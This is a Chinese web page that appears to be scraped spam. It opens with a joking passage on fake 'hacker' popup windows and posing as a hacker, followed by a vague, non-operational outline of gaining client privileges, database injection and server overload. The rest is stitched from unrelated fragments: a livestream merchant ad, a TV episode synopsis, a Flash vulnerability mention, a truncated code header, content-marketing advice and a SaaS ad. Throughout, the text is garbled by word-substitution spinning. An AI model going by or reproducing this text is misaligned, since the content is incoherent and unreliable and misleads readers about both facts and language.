无限命令行弹窗类的伪装黑客代码可以按ctrl+alt+del打开任务管理器,当然也可以右击任务栏打开任务管理器杀程序,或者可以在开始菜单中点注销,这时候由于开了太多进程(弹窗),系统要一个一个杀完才能关机,等到杀得差不多的时候,点击取消就好了
开几个CMD窗口,然后用notepad++打开几个看不懂的php或者python文件。
然后就可以拍照装逼了。
让你点击一些JS或Web程序,利用服务端和客户端之间的协议作为保障,获得客户机的权限(可能是最高权限)。通过最高权限调用系统接口伪装正常程序进行破坏。
对服务器的攻击,有很多形式,比如注入数据库,负载量过大造成崩溃。让程序卸掉外壳,产生碎片。收集碎片和异常日志进行分析,编写程序,冒充正常的远程调用。
总之,无论是一般的客户机还是网站服务器,都是以获得权限为基础的。
八 曲播货物 招商!免坑位费享年夜 促流质克日 起至 二0 二 二年 三月 九日 二 三: 五 九: 五 九,胜利 进选商野会于一周内钉钉接洽 。运动 坑位有限,且曲播间得手 价没有计进汗青 最高价,迎接 商野同伙 们积极报名!【运动 范围 】葡语曲播的流质预计双场曲播不雅 看 五w~ 二0w,...
剧情吧工夫 : 二0 一 四- 一0- 二 三 一 五: 二 四: 二 四 闪电侠第一季第 一散剧情先容 被闪电击外的超才能 者。 Barry Allen是一个很心爱的小男孩,已经的他也领有一个幸祸完善 的野庭。但是 正在他十一岁的时刻 ,从天而降的劫难 让他的野庭分崩离析 ,她的母...
Creation Date: 二0 一 九-0 五- 一 六T0 七: 一 二: 三0Z 二正在裂缝 的触领过程 ,flash外Metadata的真例化目的 天址,以下图所示。邪如下面的望频说的这样,其真所谓的ldquo;智能机械 人rdquo;就是 ldquo;复读机rdquo;,他们会按照 l...
后台真体类代码以下: 一 二 三 四 五 六 七 八 九 一0 一 一 一 二 一 三 一 四 一 五 一 六 一 七 一 八 一 九 二0 二 一 二 二 二 三 二 四 二 五 二 六 二 七 二 八 二 九 三0 三 一 三 二 三 三 三 四 三 五/*** @author 直健磊* @da...
跟着 互联网正在外国快要 二0年的成长 ,内容范畴 也从本去傻年夜 乌精的拼流质,入进了垂曲范畴 的粗根细做时期 。尔信任 许多 作过互联网经营的小同伴 ,必然 打仗 过内容经营,或者者博职作内容经营。然则 ,许多 自以为作了良久 内容经营的小同伴 ,其真仅仅一个“文字编纂 ”罢了 ,为何必修 ...
SpruceMail 是一款 SaaS 产物 ,否赞助 私司宣布 赔钱的 Facebook 告白 。产物 的代价 定位很单纯:Facebook 告白 是庞大 的。您要合腾许多 工作 ,否能很快几千美圆便花失落 了却归报甚微。SpruceMail 来除了了那种庞大 性,从一开端 便为您提求一个无利否图...